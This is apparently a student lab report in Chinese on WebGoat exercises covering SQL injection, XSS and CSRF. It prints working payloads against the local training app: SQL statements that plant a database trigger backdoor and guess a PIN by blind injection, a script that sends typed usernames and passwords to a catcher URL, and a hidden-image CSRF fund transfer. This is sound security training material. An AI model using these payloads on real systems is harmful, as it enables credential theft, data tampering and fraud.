实验目标:
理解常用网络攻击技术的基本原理
实验内容:
Webgoat实践下相关实验
基础问题回答:
-
sql注入攻击原理,如何防御?
-
XSS攻击的原理,如何防御?
3.CSRF攻击原理,如何防御?
实验步骤:
一、WebGoat配置
进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站
下载 webgoat-container-7.0.1-war-exec.jar
输入 java -jar webgoat-container-7.0.1-war-exec.jar 安装jar包
看到上图红框中信息后打开浏览器登陆 http://localhost:8080/WebGoat 网站。
emmm...并无实验内容,查阅资料得知因为kali缺少相应jdk包,安装相应jdk包后
重新登录
登录成功
二、sql注入攻击(Injection Flaws)
1.命令注入(Command Injection)
2.数字型注入(Numeric sql Injection)
3.日志欺骗(Log Spoofing)
4.sql 注入(LAB: sql Injection)
stage 1:String sql injection
5.数据库后门(Database Backdoors)
-
- 选择 Injection Flaws -> Database Backdoors
- 输入
101
,得到该用户的信息
-
- 输入注入语句
101; update employee set salary=10000
- 输入注入语句
-
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid
设置触发器
- 输入
6.盲数字sql注入(Blind Numeric sql Injection)
-
-
输入
101 AND 1=2
第二个条件不成立,页面返回帐号无效
-
-
-
输入
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
页面返回帐号无效,说明PIN<=10000
-
-
- 多次尝试输入,输入
2364
为正确PIN值
- 多次尝试输入,输入
7.字符串注入(String sql Injection)
二、XSS攻击
1.XSS 钓鱼(Phishing with XSS)
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
-
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
2.存储型XSS攻击(Stored XSS Attacks)
-
- 在title中任意输入字符,留言板中输入
<script>alert("du4313");</script>
- 在title中任意输入字符,留言板中输入
3.反射型XSS攻击(Reflected XSS Attacks)
三、CSRF攻击
1.跨站请求伪造(Cross Site Request Forgery (CSRF))
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
-
- 点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
实验感想:
本次实验较为简单,只要阅读WebGoat网站中实验教程就可一一做出来,总体没有遇到较大的困难。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。